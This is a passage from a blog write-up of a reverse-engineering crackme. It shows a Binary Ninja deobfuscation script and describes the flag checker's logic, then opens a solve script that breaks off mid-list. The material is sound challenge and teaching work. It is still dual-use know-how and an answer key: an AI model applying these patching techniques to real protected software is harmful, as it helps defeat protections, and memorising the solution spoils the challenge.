</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(best_match) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
best_match = best_match[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]
end = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(best_match[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
disas = stub[:end]
results.append((AddrRange(insts[start].addr, insts[start + end].addr), best_match[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], best_match[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], disas))
start = start + end
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
start += </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> results
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># string disas matching</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
partial_match = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x, y : </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">all</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([a == b </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> a,b </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">zip</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(y, x)])
full_match = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x, y : </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(x) == </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(y) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> partial_match(x, y)
clean_token = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> t : [</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">str</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(i) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> t </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">any</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([c </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> c </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">str</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(i) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> c != </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">','</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> c != </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">' '</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">pre_handler_hook</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">r, handler, n, d, verbose=<span class="hljs-literal" style="color: #a31515;">False</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> verbose:
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">print</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'patching <span class="hljs-subst">{r}</span> to <span class="hljs-subst">{n}</span> for <span class="hljs-subst">{d}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(r.start < r.end)
result = handler(r, d, ctx)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> verbose:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result:
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">print</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'patch failed'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result
bv.begin_undo_actions()
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> f </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> FUNCTIONS:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">try</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
insts = [BinjaInst(clean_token(inst), addr) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> inst,addr </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> f.instructions]
insts = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">sorted</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(insts, key=</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : x[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
push_rbp_exists, rbp_initialized, initial_stack_alloc = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">try</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
push_rbp_exists = full_match(insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].disas, [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'push'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rbp'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
rbp_initialized = full_match(insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].disas, [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'mov'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rbp'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rsp'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> partial_match(insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].disas, [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'sub'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rsp'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]):
initial_stack_alloc = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">except</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> IndexError:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">pass</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
matches = identify_matches(insts)
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># only apply on obfuscated functions</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(matches) > </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
ctx = Context(initial_stack_alloc, push_rbp_exists, rbp_initialized, insts, f.start)
redos = [*</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">filter</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m : </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pre_handler_hook(*m), [m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> matches])]
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># fixed point attempt</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(redos) > </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
old_len = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(redos)
new_redos = [*</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">filter</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m : </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pre_handler_hook(*m), [m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> m </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> redos])]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(old_len != </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(new_redos))
redos = new_redos
ctx.commit_patches()
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">except</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Exception </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">as</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> e:
traceback.print_exception(*sys.exc_info())
bv.update_analysis()
bv.commit_undo_actions()</span></span></p><p> Onto a brief tldr of solving the crackme now (there really isn’t any
interesting here), after all the above discussion on VM internals and
deobfuscation. It’s basically a standard flag checker, asking for input,
running checks on it, before using that to build a key to decrypt the
flag embedded in the binary. An initial check is also done to verify
that your CPU has the necessary AVX-512 features along with OS support
for saving as well as restoring the zmm and mask registers.</p>
<p>Here are a few obfuscated functions in Binary Ninja (other mainstream
decompilers produce equally bad results, if not just giving up and
outputting the asm inlined):</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzSfL8gPk36QrRXVkEsdr1TYQ-GAkhhqdnPSt44PHBssavPYaI3Sc24UnXY-BifD_CKFygn-HuSYBy12s4VdA-VChwpoLbB8jOUxMxDCK6eGF_oB5cJ0mFNcgcqVU9D34Vp7kpZRtG_g1_rGtnIQxjZxbPtLrgZ-GYXyyNmI5N13lFZAHbQ-VQz1X8xXHI/s1311/obf_func1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="597" data-original-width="1311" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzSfL8gPk36QrRXVkEsdr1TYQ-GAkhhqdnPSt44PHBssavPYaI3Sc24UnXY-BifD_CKFygn-HuSYBy12s4VdA-VChwpoLbB8jOUxMxDCK6eGF_oB5cJ0mFNcgcqVU9D34Vp7kpZRtG_g1_rGtnIQxjZxbPtLrgZ-GYXyyNmI5N13lFZAHbQ-VQz1X8xXHI/w640-h293/obf_func1.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjazR23JcYp8gGX_vSf-WWbJ3jqjlir1tL_WqATOICTkzYOqXq-shn9P4jTF38WfxfpeACSKewemBuGfcOpaV0jw9D9umCbxKs9qkfKjL3qk6Bd5FMXRWgSVKEtjA5off6Ze-C0RTIyNLIJyyYe_u61pcu_u2_E6zmT-bgQJvn5glL5Sr5QTgGkyvb-MBZy/s1286/obf_func3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="749" data-original-width="1286" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjazR23JcYp8gGX_vSf-WWbJ3jqjlir1tL_WqATOICTkzYOqXq-shn9P4jTF38WfxfpeACSKewemBuGfcOpaV0jw9D9umCbxKs9qkfKjL3qk6Bd5FMXRWgSVKEtjA5off6Ze-C0RTIyNLIJyyYe_u61pcu_u2_E6zmT-bgQJvn5glL5Sr5QTgGkyvb-MBZy/w640-h372/obf_func3.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq5Uuv9Zrweljk0L-8txMOCqSsnZYc-BUgYAq7a7neSMjXj8fUh5R7wY3EPdiaY0Z33Tmmpl9Lwa7Emsy9_Z8jtEhhijtcAThsfU0HENNp7mnUDlDSA0zFXOgI9SrS5rLecjeG-guzhhPcVNQ83GFgGuKbkpYEAomyFoJ7hF1VYW8RcqBiR0OY9k0s8yPS/s1336/obf_func4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="755" data-original-width="1336" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq5Uuv9Zrweljk0L-8txMOCqSsnZYc-BUgYAq7a7neSMjXj8fUh5R7wY3EPdiaY0Z33Tmmpl9Lwa7Emsy9_Z8jtEhhijtcAThsfU0HENNp7mnUDlDSA0zFXOgI9SrS5rLecjeG-guzhhPcVNQ83GFgGuKbkpYEAomyFoJ7hF1VYW8RcqBiR0OY9k0s8yPS/w640-h362/obf_func4.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKMcf68PCVRN5a-2joEFvkb3ObgO5un52hr1rlFCmt0uk0THlg324cWjqKiRYdClqG8z230VU4P2T1svIoUcmjPL-My37CuD8RP65r4A0clw1C_suZ0XaHRSWjbbfpPdRqKoZO1LIepEfh87kakfvmGqdky2bH1KCw-XHnPluNcMjlBsaBmX68q81BHJ8/s1330/obf_func2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="769" data-original-width="1330" height="370" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioKMcf68PCVRN5a-2joEFvkb3ObgO5un52hr1rlFCmt0uk0THlg324cWjqKiRYdClqG8z230VU4P2T1svIoUcmjPL-My37CuD8RP65r4A0clw1C_suZ0XaHRSWjbbfpPdRqKoZO1LIepEfh87kakfvmGqdky2bH1KCw-XHnPluNcMjlBsaBmX68q81BHJ8/w640-h370/obf_func2.png" width="640" /></a></div><p>Quite an unreadable mess… definitely very troubling for the type of reversers who spam F5.</p><p>
</p><p>I ran my deobfuscation script, with the following results:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv5FTtnsMldy4PSqXOsRSEK1UZYndY47iIZuU53yx17hWPU3gzGLWI5k3oME3DhRuYzyFLftVnimF7dCO1j7JxL_bpddOsj6D94JIDyd5Y6MqxHVhxsFtRMVK6sNz1gWQd1BXPGiFb1noEVLT0d7CXjWwyp9BIE4Q20rjqFTlE9mGCdWQGikAiJ__brmep/s891/deobf_func1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="735" data-original-width="891" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv5FTtnsMldy4PSqXOsRSEK1UZYndY47iIZuU53yx17hWPU3gzGLWI5k3oME3DhRuYzyFLftVnimF7dCO1j7JxL_bpddOsj6D94JIDyd5Y6MqxHVhxsFtRMVK6sNz1gWQd1BXPGiFb1noEVLT0d7CXjWwyp9BIE4Q20rjqFTlE9mGCdWQGikAiJ__brmep/w640-h528/deobf_func1.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqHfJlqA4Tjeepkn5EqARTxAbWdrlSo3R_pT3n5fX0pcwgJgTm3ZLjIlXyrSN1BWqrO5-_kGfVp-QpyjFe2v1iS3ofeTPFWX88-eBsJBoZxNS5aGhBUMwo3vE-8t3CWHgONxI-ehApZs0BgABzHmYX4Bb8anBvsF8oIWbmpXfgU2f84QQ3U1ekehL4gBiq/s869/deobf_func2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="752" data-original-width="869" height="554" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqHfJlqA4Tjeepkn5EqARTxAbWdrlSo3R_pT3n5fX0pcwgJgTm3ZLjIlXyrSN1BWqrO5-_kGfVp-QpyjFe2v1iS3ofeTPFWX88-eBsJBoZxNS5aGhBUMwo3vE-8t3CWHgONxI-ehApZs0BgABzHmYX4Bb8anBvsF8oIWbmpXfgU2f84QQ3U1ekehL4gBiq/w640-h554/deobf_func2.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhadhxyq7fFcC-whPVfpGN_aZu24QRytTrYhcApgK2CbiAPCRbKTg-UthEjhYXNI2rsrY4uZ_n2SFVBmd_Twt1UtAynmH2-wF7zxsotrtoDaiji-_8v-k9PWbatkfq_tvxru4EPvAY7SuauqnVqP2Y9pc3XzAJVnZmjd8iFntW2KeKFV3Psey-xAeiHZzHo/s1209/deobf_func3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="739" data-original-width="1209" height="392" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhadhxyq7fFcC-whPVfpGN_aZu24QRytTrYhcApgK2CbiAPCRbKTg-UthEjhYXNI2rsrY4uZ_n2SFVBmd_Twt1UtAynmH2-wF7zxsotrtoDaiji-_8v-k9PWbatkfq_tvxru4EPvAY7SuauqnVqP2Y9pc3XzAJVnZmjd8iFntW2KeKFV3Psey-xAeiHZzHo/w640-h392/deobf_func3.png" width="640" /></a></div><p><br /></p><p>Much for readable now! Now if the initial compatibility check is patched
out, this binary can be run on x86 systems without AVX-512 support and
debugged. The overall logic of the crackme was not that hard as it just
involved taking 100 bytes of input, shuffling into a 10 by 10 matrix
with the Blum Blum Shum prng, followed by a series of 10 transformations
on each of the diagonals before comparing to a xor encrypted target
answer. For the sake of completeness, the following is my solve script
and the result of inputting the correct serial:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">import</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctypes
enc_answer = [-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521104</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411048bda34b</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045533962</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552497b</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110478627e4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045f40ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104556c3b3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150511045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552026c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455209f7</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411048bda34a</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045504a80</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045522252</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411046c11ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045080ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045558a1e</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153d91045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552151c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552026d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520b6b</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104553c464</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552455d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411041276024</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045d60ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104551df4e</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153291045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045522fac</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520752</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520bfa</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455201e3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045524f4c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045030ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045e20ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455b5120</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153291045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455203b3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
